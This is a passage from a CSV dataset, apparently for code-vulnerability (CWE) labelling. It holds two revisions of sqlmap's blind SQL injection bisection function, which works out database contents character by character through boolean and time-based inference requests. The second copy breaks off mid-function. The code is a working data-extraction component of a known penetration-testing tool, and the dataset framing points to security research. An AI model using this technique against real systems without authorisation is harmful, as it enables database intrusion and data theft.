if isinstance(path, str):
path = path.encode('utf-8')
if isinstance(query, str):
query = query.encode('utf-8')
if isinstance(fragment, str):
fragment = fragment.encode('utf-8')
if isinstance(params, (str, bytes)):
params = to_native_string(params)
enc_params = self._encode_params(params)
if enc_params:
if query:
query = '%s&%s' % (query, enc_params)
else:
query = enc_params
url = requote_uri(urlunparse([scheme, netloc, path, None, query, fragment]))
self.url = url"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/techniques/blind/inference.py,0,"def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False):
""""""
Bisection algorithm that can be used to perform blind SQL injection
on an affected host
""""""
abortedFlag = False
showEta = False
partialValue = u""""
finalValue = None
retrievedLength = 0
if payload is None:
return 0, None
if charsetType is None and conf.charset:
asciiTbl = sorted(set(ord(_) for _ in conf.charset))
else:
asciiTbl = getCharset(charsetType)
threadData = getCurrentThreadData()
timeBasedCompare = (getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
retVal = hashDBRetrieve(expression, checkConf=True)
if retVal:
if conf.repair and INFERENCE_UNKNOWN_CHAR in retVal:
pass
elif PARTIAL_HEX_VALUE_MARKER in retVal:
retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, """")
if retVal and conf.hexConvert:
partialValue = retVal
infoMsg = ""resuming partial value: %s"" % safecharencode(partialValue)
logger.info(infoMsg)
elif PARTIAL_VALUE_MARKER in retVal:
retVal = retVal.replace(PARTIAL_VALUE_MARKER, """")
if retVal and not conf.hexConvert:
partialValue = retVal
infoMsg = ""resuming partial value: %s"" % safecharencode(partialValue)
logger.info(infoMsg)
else:
infoMsg = ""resumed: %s"" % safecharencode(retVal)
logger.info(infoMsg)
return 0, retVal
try:
# Set kb.partRun in case ""common prediction"" feature (a.k.a. ""good samaritan"") is used or the engine is called from the API
if conf.predictOutput:
kb.partRun = getPartRun()
elif conf.api:
kb.partRun = getPartRun(alias=False)
else:
kb.partRun = None
if partialValue:
firstChar = len(partialValue)
elif re.search(r""(?i)\b(LENGTH|LEN)\("", expression):
firstChar = 0
elif (kb.fileReadMode or dump) and conf.firstChar is not None and (isinstance(conf.firstChar, int) or (hasattr(conf.firstChar, ""isdigit"") and conf.firstChar.isdigit())):
firstChar = int(conf.firstChar) - 1
if kb.fileReadMode:
firstChar <<= 1
elif hasattr(firstChar, ""isdigit"") and firstChar.isdigit() or isinstance(firstChar, int):
firstChar = int(firstChar) - 1
else:
firstChar = 0
if re.search(r""(?i)\b(LENGTH|LEN)\("", expression):
lastChar = 0
elif dump and conf.lastChar is not None and (isinstance(conf.lastChar, int) or (hasattr(conf.lastChar, ""isdigit"") and conf.lastChar.isdigit())):
lastChar = int(conf.lastChar)
elif hasattr(lastChar, ""isdigit"") and lastChar.isdigit() or isinstance(lastChar, int):
lastChar = int(lastChar)
else:
lastChar = 0
if Backend.getDbms():
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
expressionUnescaped = unescaper.escape(expressionReplaced)
else:
expressionUnescaped = unescaper.escape(expression)
if hasattr(length, ""isdigit"") and length.isdigit() or isinstance(length, int):
length = int(length)
else:
length = None
if length == 0:
return 0, """"
if length and (lastChar > 0 or firstChar > 0):
length = min(length, lastChar or length) - firstChar
if length and length > MAX_BISECTION_LENGTH:
length = None
showEta = conf.eta and isinstance(length, int)
if kb.bruteMode:
numThreads = 1
else:
numThreads = min(conf.threads or 0, length or 0) or 1
if showEta:
progress = ProgressBar(maxValue=length)
if numThreads > 1:
if not timeBasedCompare or kb.forceThreads:
debugMsg = ""starting %d thread%s"" % (numThreads, (""s"" if numThreads > 1 else """"))
logger.debug(debugMsg)
else:
numThreads = 1
if conf.threads == 1 and not any((timeBasedCompare, conf.predictOutput)):
warnMsg = ""running in a single-thread mode. Please consider ""
warnMsg += ""usage of option '--threads' for faster data retrieval""
singleTimeWarnMessage(warnMsg)
if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)):
if isinstance(length, int) and numThreads > 1:
dataToStdout(""[%s] [INFO] retrieved: %s"" % (time.strftime(""%X""), ""_"" * min(length, conf.progressWidth)))
dataToStdout(""\r[%s] [INFO] retrieved: "" % time.strftime(""%X""))
else:
dataToStdout(""\r[%s] [INFO] retrieved: "" % time.strftime(""%X""))
hintlock = threading.Lock()
def tryHint(idx):
with hintlock:
hintValue = kb.hintValue
if payload is not None and len(hintValue or """") > 0 and len(hintValue) >= idx:
if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2):
posValue = hintValue[idx - 1]
else:
posValue = ord(hintValue[idx - 1])
markingValue = ""'%s'"" % CHAR_INFERENCE_MARK
unescapedCharValue = unescaper.escape(""'%s'"" % decodeIntToUnicode(posValue))
forgedPayload = agent.extractPayload(payload)
forgedPayload = safeStringFormat(forgedPayload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue)).replace(markingValue, unescapedCharValue)
result = Request.queryPage(agent.replacePayload(payload, forgedPayload), timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(getTechnique())
if result:
return hintValue[idx - 1]
with hintlock:
kb.hintValue = """"
return None
def validateChar(idx, value):
""""""
Used in inference - in time-based SQLi if original and retrieved value are not equal there will be a deliberate delay
""""""
validationPayload = re.sub(r""(%s.*?)%s(.*?%s)"" % (PAYLOAD_DELIMITER, INFERENCE_GREATER_CHAR, PAYLOAD_DELIMITER), r""\g<1>%s\g<2>"" % INFERENCE_NOT_EQUALS_CHAR, payload)
if ""'%s'"" % CHAR_INFERENCE_MARK not in payload:
forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx, value))
else:
# e.g.: ... > '%c' -> ... > ORD(..)
markingValue = ""'%s'"" % CHAR_INFERENCE_MARK
unescapedCharValue = unescaper.escape(""'%s'"" % decodeIntToUnicode(value))
forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)
result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
if result and timeBasedCompare and getTechniqueData().trueCode:
result = threadData.lastCode == getTechniqueData().trueCode
if not result:
warnMsg = ""detected HTTP code '%s' in validation phase is differing from expected '%s'"" % (threadData.lastCode, getTechniqueData().trueCode)
singleTimeWarnMessage(warnMsg)
incrementCounter(getTechnique())
return result
def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None):
""""""
continuousOrder means that distance between each two neighbour's
numerical values is exactly 1
""""""
result = tryHint(idx)
if result:
return result
if charTbl is None:
charTbl = type(asciiTbl)(asciiTbl)
originalTbl = type(charTbl)(charTbl)
if continuousOrder and shiftTable is None:
# Used for gradual expanding into unicode charspace
shiftTable = [2, 2, 3, 3, 5, 4]
if ""'%s'"" % CHAR_INFERENCE_MARK in payload:
for char in ('\n', '\r'):
if ord(char) in charTbl:
charTbl.remove(ord(char))
if not charTbl:
return None
elif len(charTbl) == 1:
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0]))
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(getTechnique())
if result:
return decodeIntToUnicode(charTbl[0])
else:
return None
maxChar = maxValue = charTbl[-1]
minValue = charTbl[0]
firstCheck = False
lastCheck = False
unexpectedCode = False
if continuousOrder:
while len(charTbl) > 1:
position = None
if charsetType is None:
if not firstCheck:
try:
try:
lastChar = [_ for _ in threadData.shared.value if _ is not None][-1]
except IndexError:
lastChar = None
else:
if 'a' <= lastChar <= 'z':
position = charTbl.index(ord('a') - 1) # 96
elif 'A' <= lastChar <= 'Z':
position = charTbl.index(ord('A') - 1) # 64
elif '0' <= lastChar <= '9':
position = charTbl.index(ord('0') - 1) # 47
except ValueError:
pass
finally:
firstCheck = True
elif not lastCheck and numThreads == 1: # not usable in multi-threading environment
if charTbl[(len(charTbl) >> 1)] < ord(' '):
try:
# favorize last char check if current value inclines toward 0
position = charTbl.index(1)
except ValueError:
pass
finally:
lastCheck = True
if position is None:
position = (len(charTbl) >> 1)
posValue = charTbl[position]
falsePayload = None
if ""'%s'"" % CHAR_INFERENCE_MARK not in payload:
forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue))
falsePayload = safeStringFormat(payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER))
else:
# e.g.: ... > '%c' -> ... > ORD(..)
markingValue = ""'%s'"" % CHAR_INFERENCE_MARK
unescapedCharValue = unescaper.escape(""'%s'"" % decodeIntToUnicode(posValue))
forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)
falsePayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, NULL)
if timeBasedCompare:
if kb.responseTimeMode:
kb.responseTimePayload = falsePayload
else:
kb.responseTimePayload = None
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(getTechnique())
if not timeBasedCompare:
unexpectedCode |= threadData.lastCode not in (getTechniqueData().falseCode, getTechniqueData().trueCode)
if unexpectedCode:
warnMsg = ""unexpected HTTP code '%s' detected. Will use (extra) validation step in similar cases"" % threadData.lastCode
singleTimeWarnMessage(warnMsg)
if result:
minValue = posValue
if not isinstance(charTbl, xrange):
charTbl = charTbl[position:]
else:
# xrange() - extended virtual charset used for memory/space optimization
charTbl = xrange(charTbl[position], charTbl[-1] + 1)
else:
maxValue = posValue
if not isinstance(charTbl, xrange):
charTbl = charTbl[:position]
else:
charTbl = xrange(charTbl[0], charTbl[position])
if len(charTbl) == 1:
if maxValue == 1:
return None
# Going beyond the original charset
elif minValue == maxChar:
# If the original charTbl was [0,..,127] new one
# will be [128,..,(128 << 4) - 1] or from 128 to 2047
# and instead of making a HUGE list with all the
# elements we use a xrange, which is a virtual
# list
if expand and shiftTable:
charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop())
originalTbl = xrange(charTbl)
maxChar = maxValue = charTbl[-1]
minValue = charTbl[0]
else:
return None
else:
retVal = minValue + 1
if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload):
if (timeBasedCompare or unexpectedCode) and not validateChar(idx, retVal):
if not kb.originalTimeDelay:
kb.originalTimeDelay = conf.timeSec
threadData.validationRun = 0
if (retried or 0) < MAX_REVALIDATION_STEPS:
errMsg = ""invalid character detected. retrying..""
logger.error(errMsg)
if timeBasedCompare:
if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE:
conf.timeSec += 1
warnMsg = ""increasing time delay to %d second%s"" % (conf.timeSec, 's' if conf.timeSec > 1 else '')
logger.warn(warnMsg)
if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:
dbgMsg = ""turning off time auto-adjustment mechanism""
logger.debug(dbgMsg)
kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO
return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1)
else:
errMsg = ""unable to properly validate last character value ('%s').."" % decodeIntToUnicode(retVal)
logger.error(errMsg)
conf.timeSec = kb.originalTimeDelay
return decodeIntToUnicode(retVal)
else:
if timeBasedCompare:
threadData.validationRun += 1
if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD:
dbgMsg = ""turning back on time auto-adjustment mechanism""
logger.debug(dbgMsg)
kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES
return decodeIntToUnicode(retVal)
else:
return None
else:
candidates = list(originalTbl)
bit = 0
while len(candidates) > 1:
bits = {}
for candidate in candidates:
bit = 0
while candidate:
bits.setdefault(bit, 0)
bits[bit] += 1 if candidate & 1 else -1
candidate >>= 1
bit += 1
choice = sorted(bits.items(), key=lambda _: abs(_[1]))[0][0]
mask = 1 << choice
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, ""&%d%s"" % (mask, INFERENCE_GREATER_CHAR)), (expressionUnescaped, idx, 0))
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(getTechnique())
if result:
candidates = [_ for _ in candidates if _ & mask > 0]
else:
candidates = [_ for _ in candidates if _ & mask == 0]
bit += 1
if candidates:
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, candidates[0]))
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(getTechnique())
if result:
return decodeIntToUnicode(candidates[0])
# Go multi-threading (--threads > 1)
if numThreads > 1 and isinstance(length, int) and length > 1:
threadData.shared.value = [None] * length
threadData.shared.index = [firstChar] # As list for python nested function scoping
threadData.shared.start = firstChar
try:
def blindThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
with kb.locks.index:
if threadData.shared.index[0] - firstChar >= length:
return
threadData.shared.index[0] += 1
currentCharIndex = threadData.shared.index[0]
if kb.threadContinue:
val = getChar(currentCharIndex, asciiTbl, not(charsetType is None and conf.charset))
if val is None:
val = INFERENCE_UNKNOWN_CHAR
else:
break
with kb.locks.value:
threadData.shared.value[currentCharIndex - 1 - firstChar] = val
currentValue = list(threadData.shared.value)
if kb.threadContinue:
if showEta:
progress.progress(threadData.shared.index[0])
elif conf.verbose >= 1:
startCharIndex = 0
endCharIndex = 0
for i in xrange(length):
if currentValue[i] is not None:
endCharIndex = max(endCharIndex, i)
output = ''
if endCharIndex > conf.progressWidth:
startCharIndex = endCharIndex - conf.progressWidth
count = threadData.shared.start
for i in xrange(startCharIndex, endCharIndex + 1):
output += '_' if currentValue[i] is None else filterControlChars(currentValue[i] if len(currentValue[i]) == 1 else ' ', replacement=' ')
for i in xrange(length):
count += 1 if currentValue[i] is not None else 0
if startCharIndex > 0:
output = "".."" + output[2:]
if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1):
output = output[:-2] + ""..""
if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)):
_ = count - firstChar
output += '_' * (min(length, conf.progressWidth) - len(output))
status = ' %d/%d (%d%%)' % (_, length, int(100.0 * _ / length))
output += status if _ != length else "" "" * len(status)
dataToStdout(""\r[%s] [INFO] retrieved: %s"" % (time.strftime(""%X""), output))
runThreads(numThreads, blindThread, startThreadMsg=False)
except KeyboardInterrupt:
abortedFlag = True
finally:
value = [_ for _ in partialValue]
value.extend(_ for _ in threadData.shared.value)
infoMsg = None
# If we have got one single character not correctly fetched it
# can mean that the connection to the target URL was lost
if None in value:
partialValue = """".join(value[:value.index(None)])
if partialValue:
infoMsg = ""\r[%s] [INFO] partially retrieved: %s"" % (time.strftime(""%X""), filterControlChars(partialValue))
else:
finalValue = """".join(value)
infoMsg = ""\r[%s] [INFO] retrieved: %s"" % (time.strftime(""%X""), filterControlChars(finalValue))
if conf.verbose in (1, 2) and infoMsg and not any((showEta, conf.api, kb.bruteMode)):
dataToStdout(infoMsg)
# No multi-threading (--threads = 1)
else:
index = firstChar
threadData.shared.value = """"
while True:
index += 1
# Common prediction feature (a.k.a. ""good samaritan"")
# NOTE: to be used only when multi-threading is not set for
# the moment
if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None:
val = None
commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl)
# If there is one single output in common-outputs, check
# it via equal against the query output
if commonValue is not None:
# One-shot query containing equals commonValue
testValue = unescaper.escape(""'%s'"" % commonValue) if ""'"" not in commonValue else unescaper.escape(""%s"" % commonValue, quote=False)
query = getTechniqueData().vector
query = agent.prefixQuery(query.replace(INFERENCE_MARKER, ""(%s)%s%s"" % (expressionUnescaped, INFERENCE_EQUALS_CHAR, testValue)))
query = agent.suffixQuery(query)
result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(getTechnique())
# Did we have luck?
if result:
if showEta:
progress.progress(len(commonValue))
elif conf.verbose in (1, 2) or conf.api:
dataToStdout(filterControlChars(commonValue[index - 1:]))
finalValue = commonValue
break
# If there is a common pattern starting with partialValue,
# check it via equal against the substring-query output
if commonPattern is not None:
# Substring-query containing equals commonPattern
subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern))
testValue = unescaper.escape(""'%s'"" % commonPattern) if ""'"" not in commonPattern else unescaper.escape(""%s"" % commonPattern, quote=False)
query = getTechniqueData().vector
query = agent.prefixQuery(query.replace(INFERENCE_MARKER, ""(%s)=%s"" % (subquery, testValue)))
query = agent.suffixQuery(query)
result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(getTechnique())
# Did we have luck?
if result:
val = commonPattern[index - 1:]
index += len(val) - 1
# Otherwise if there is no commonValue (single match from
# txt/common-outputs.txt) and no commonPattern
# (common pattern) use the returned common charset only
# to retrieve the query output
if not val and commonCharset:
val = getChar(index, commonCharset, False)
# If we had no luck with commonValue and common charset,
# use the returned other charset
if not val:
val = getChar(index, otherCharset, otherCharset == asciiTbl)
else:
val = getChar(index, asciiTbl, not(charsetType is None and conf.charset))
if val is None:
finalValue = partialValue
break
if kb.data.processChar:
val = kb.data.processChar(val)
threadData.shared.value = partialValue = partialValue + val
if showEta:
progress.progress(index)
elif (conf.verbose in (1, 2) and not kb.bruteMode) or conf.api:
dataToStdout(filterControlChars(val))
# some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces
if Backend.getIdentifiedDbms() in (DBMS.FIREBIRD, DBMS.DB2, DBMS.MAXDB) and len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace():
finalValue = partialValue[:-INFERENCE_BLANK_BREAK]
break
elif charsetType and partialValue[-1:].isspace():
finalValue = partialValue[:-1]
break
if (lastChar > 0 and index >= lastChar):
finalValue = """" if length == 0 else partialValue
finalValue = finalValue.rstrip() if len(finalValue) > 1 else finalValue
partialValue = None
break
except KeyboardInterrupt:
abortedFlag = True
finally:
kb.prependFlag = False
retrievedLength = len(finalValue or """")
if finalValue is not None:
finalValue = decodeDbmsHexValue(finalValue) if conf.hexConvert else finalValue
hashDBWrite(expression, finalValue)
elif partialValue:
hashDBWrite(expression, ""%s%s"" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue))
if conf.hexConvert and not any((abortedFlag, conf.api, kb.bruteMode)):
infoMsg = ""\r[%s] [INFO] retrieved: %s %s\n"" % (time.strftime(""%X""), filterControlChars(finalValue), "" "" * retrievedLength)
dataToStdout(infoMsg)
else:
if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)):
dataToStdout(""\n"")
if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3:
infoMsg = ""retrieved: %s"" % filterControlChars(finalValue)
logger.info(infoMsg)
if kb.threadException:
raise SqlmapThreadException(""something unexpected happened inside the threads"")
if abortedFlag:
raise KeyboardInterrupt
_ = finalValue or partialValue
return getCounter(getTechnique()), safecharencode(_) if kb.safeCharEncode else _",,sqlmapproject/sqlmap,bd1ea4fd7324a6c181d0e493411cab9a107461ea,"def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False):
""""""
Bisection algorithm that can be used to perform blind SQL injection
on an affected host
""""""
abortedFlag = False
showEta = False
partialValue = u""""
finalValue = None
retrievedLength = 0
if payload is None:
return 0, None
if charsetType is None and conf.charset:
asciiTbl = sorted(set(ord(_) for _ in conf.charset))
else:
asciiTbl = getCharset(charsetType)
threadData = getCurrentThreadData()
timeBasedCompare = (getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
retVal = hashDBRetrieve(expression, checkConf=True)
if retVal:
if conf.repair and INFERENCE_UNKNOWN_CHAR in retVal:
pass
elif PARTIAL_HEX_VALUE_MARKER in retVal:
retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, """")
if retVal and conf.hexConvert:
partialValue = retVal
infoMsg = ""resuming partial value: %s"" % safecharencode(partialValue)
logger.info(infoMsg)
elif PARTIAL_VALUE_MARKER in retVal:
retVal = retVal.replace(PARTIAL_VALUE_MARKER, """")
if retVal and not conf.hexConvert:
partialValue = retVal
infoMsg = ""resuming partial value: %s"" % safecharencode(partialValue)
logger.info(infoMsg)
else:
infoMsg = ""resumed: %s"" % safecharencode(retVal)
logger.info(infoMsg)
return 0, retVal
try:
# Set kb.partRun in case ""common prediction"" feature (a.k.a. ""good samaritan"") is used or the engine is called from the API
if conf.predictOutput:
kb.partRun = getPartRun()
elif conf.api:
kb.partRun = getPartRun(alias=False)
else:
kb.partRun = None
if partialValue:
firstChar = len(partialValue)
elif re.search(r""(?i)\b(LENGTH|LEN)\("", expression):
firstChar = 0
elif (kb.fileReadMode or dump) and conf.firstChar is not None and (isinstance(conf.firstChar, int) or (hasattr(conf.firstChar, ""isdigit"") and conf.firstChar.isdigit())):
firstChar = int(conf.firstChar) - 1
if kb.fileReadMode:
firstChar <<= 1
elif hasattr(firstChar, ""isdigit"") and firstChar.isdigit() or isinstance(firstChar, int):
firstChar = int(firstChar) - 1
else:
firstChar = 0
if re.search(r""(?i)\b(LENGTH|LEN)\("", expression):
lastChar = 0
elif dump and conf.lastChar is not None and (isinstance(conf.lastChar, int) or (hasattr(conf.lastChar, ""isdigit"") and conf.lastChar.isdigit())):
lastChar = int(conf.lastChar)
elif hasattr(lastChar, ""isdigit"") and lastChar.isdigit() or isinstance(lastChar, int):
lastChar = int(lastChar)
else:
lastChar = 0
if Backend.getDbms():
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
expressionUnescaped = unescaper.escape(expressionReplaced)
else:
expressionUnescaped = unescaper.escape(expression)
if hasattr(length, ""isdigit"") and length.isdigit() or isinstance(length, int):
length = int(length)
else:
length = None
if length == 0:
return 0, """"
if length and (lastChar > 0 or firstChar > 0):
length = min(length, lastChar or length) - firstChar
if length and length > MAX_BISECTION_LENGTH:
length = None
showEta = conf.eta and isinstance(length, int)
if kb.bruteMode:
numThreads = 1
else:
numThreads = min(conf.threads or 0, length or 0) or 1
if showEta:
progress = ProgressBar(maxValue=length)
if numThreads > 1:
if not timeBasedCompare or kb.forceThreads:
debugMsg = ""starting %d thread%s"" % (numThreads, (""s"" if numThreads > 1 else """"))
logger.debug(debugMsg)
else:
numThreads = 1
if numThreads == 1 and not timeBasedCompare and not conf.predictOutput:
warnMsg = ""running in a single-thread mode. Please consider ""
warnMsg += ""usage of option '--threads' for faster data retrieval""
singleTimeWarnMessage(warnMsg)
if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)):
if isinstance(length, int) and numThreads > 1:
dataToStdout(""[%s] [INFO] retrieved: %s"" % (time.strftime(""%X""), ""_"" * min(length, conf.progressWidth)))
dataToStdout(""\r[%s] [INFO] retrieved: "" % time.strftime(""%X""))
else:
dataToStdout(""\r[%s] [INFO] retrieved: "" % time.strftime(""%X""))
hintlock = threading.Lock()
def tryHint(idx):
with hintlock:
hintValue = kb.hintValue
if payload is not None and len(hintValue or """") > 0 and len(hintValue) >= idx:
if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2):
posValue = hintValue[idx - 1]
else:
posValue = ord(hintValue[idx - 1])
markingValue = ""'%s'"" % CHAR_INFERENCE_MARK
unescapedCharValue = unescaper.escape(""'%s'"" % decodeIntToUnicode(posValue))
forgedPayload = agent.extractPayload(payload)
forgedPayload = safeStringFormat(forgedPayload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue)).replace(markingValue, unescapedCharValue)
result = Request.queryPage(agent.replacePayload(payload, forgedPayload), timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(getTechnique())
if result:
return hintValue[idx - 1]
with hintlock:
kb.hintValue = """"
return None
def validateChar(idx, value):
""""""
Used in inference - in time-based SQLi if original and retrieved value are not equal there will be a deliberate delay
""""""
validationPayload = re.sub(r""(%s.*?)%s(.*?%s)"" % (PAYLOAD_DELIMITER, INFERENCE_GREATER_CHAR, PAYLOAD_DELIMITER), r""\g<1>%s\g<2>"" % INFERENCE_NOT_EQUALS_CHAR, payload)
if ""'%s'"" % CHAR_INFERENCE_MARK not in payload:
forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx, value))
else:
# e.g.: ... > '%c' -> ... > ORD(..)
markingValue = ""'%s'"" % CHAR_INFERENCE_MARK
unescapedCharValue = unescaper.escape(""'%s'"" % decodeIntToUnicode(value))
forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)
result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
if result and timeBasedCompare and getTechniqueData().trueCode:
result = threadData.lastCode == getTechniqueData().trueCode
if not result:
warnMsg = ""detected HTTP code '%s' in validation phase is differing from expected '%s'"" % (threadData.lastCode, getTechniqueData().trueCode)
singleTimeWarnMessage(warnMsg)
incrementCounter(getTechnique())
return result
def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None):
""""""
continuousOrder means that distance between each two neighbour's
numerical values is exactly 1
""""""
result = tryHint(idx)
if result:
return result
if charTbl is None:
charTbl = type(asciiTbl)(asciiTbl)
originalTbl = type(charTbl)(charTbl)
if continuousOrder and shiftTable is None:
# Used for gradual expanding into unicode charspace
shiftTable = [2, 2, 3, 3, 5, 4]
if ""'%s'"" % CHAR_INFERENCE_MARK in payload:
for char in ('\n', '\r'):
if ord(char) in charTbl:
charTbl.remove(ord(char))
if not charTbl:
return None
elif len(charTbl) == 1:
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0]))
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(getTechnique())
if result:
return decodeIntToUnicode(charTbl[0])
else:
return None
maxChar = maxValue = charTbl[-1]
minValue = charTbl[0]
firstCheck = False
lastCheck = False
unexpectedCode = False
if continuousOrder:
while len(charTbl) > 1:
position = None
if charsetType is None:
if not firstCheck:
try:
try:
lastChar = [_ for _ in threadData.shared.value if _ is not None][-1]
except IndexError:
lastChar = None
else:
if 'a' <= lastChar <= 'z':
position = charTbl.index(ord('a') - 1) # 96
elif 'A' <= lastChar <= 'Z':
position = charTbl.index(ord('A') - 1) # 64
elif '0' <= lastChar <= '9':
position = charTbl.index(ord('0') - 1) # 47
except ValueError:
pass
finally:
firstCheck = True
elif not lastCheck and numThreads == 1: # not usable in multi-threading environment
if charTbl[(len(charTbl) >> 1)] < ord(' '):
try:
# favorize last char check if current value inclines toward 0
position = charTbl.index(1)
except ValueError:
pass
finally:
lastCheck = True
if position is None:
position = (len(charTbl) >> 1)
posValue = charTbl[position]
falsePayload = None
if ""'%s'"" % CHAR_INFERENCE_MARK not in payload:
forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue))
falsePayload = safeStringFormat(payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER))
else:
# e.g.: ... > '%c' -> ... > ORD(..)
markingValue = ""'%s'"" % CHAR_INFERENCE_MARK
unescapedCharValue = unescaper.escape(""'%s'"" % decodeIntToUnicode(posValue))
forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)
falsePayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, NULL)
if timeBasedCompare:
if kb.responseTimeMode:
kb.responseTimePayload = falsePayload
else:
kb.responseTimePayload = None
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(getTechnique())
if not timeBasedCompare:
unexpectedCode |= threadData.lastCode not in (getTechniqueData().falseCode, getTechniqueData().trueCode)
if unexpectedCode:
warnMsg = ""unexpected HTTP code '%s' detected. Will use (extra) validation step in similar cases"" % threadData.lastCode
singleTimeWarnMessage(warnMsg)
if result:
minValue = posValue
if not isinstance(charTbl, xrange):
charTbl = charTbl[position:]
else:
# xrange() - extended virtual charset used for memory/space optimization
charTbl = xrange(charTbl[position], charTbl[-1] + 1)
else:
maxValue = posValue
if not isinstance(charTbl, xrange):
charTbl = charTbl[:position]
else:
charTbl = xrange(charTbl[0], charTbl[position])
if len(charTbl) == 1:
if maxValue == 1:
return None
# Going beyond the original charset
elif minValue == maxChar:
# If the original charTbl was [0,..,127] new one
# will be [128,..,(128 << 4) - 1] or from 128 to 2047
# and instead of making a HUGE list with all the
# elements we use a xrange, which is a virtual
# list
if expand and shiftTable:
charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop())
originalTbl = xrange(charTbl)
maxChar = maxValue = charTbl[-1]
minValue = charTbl[0]
else:
return None
else:
retVal = minValue + 1
if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload):
if (timeBasedCompare or unexpectedCode) and not validateChar(idx, retVal):
if not kb.originalTimeDelay:
kb.originalTimeDelay = conf.timeSec
threadData.validationRun = 0
if (retried or 0) < MAX_REVALIDATION_STEPS:
errMsg = ""invalid character detected. retrying..""
logger.error(errMsg)
if timeBasedCompare:
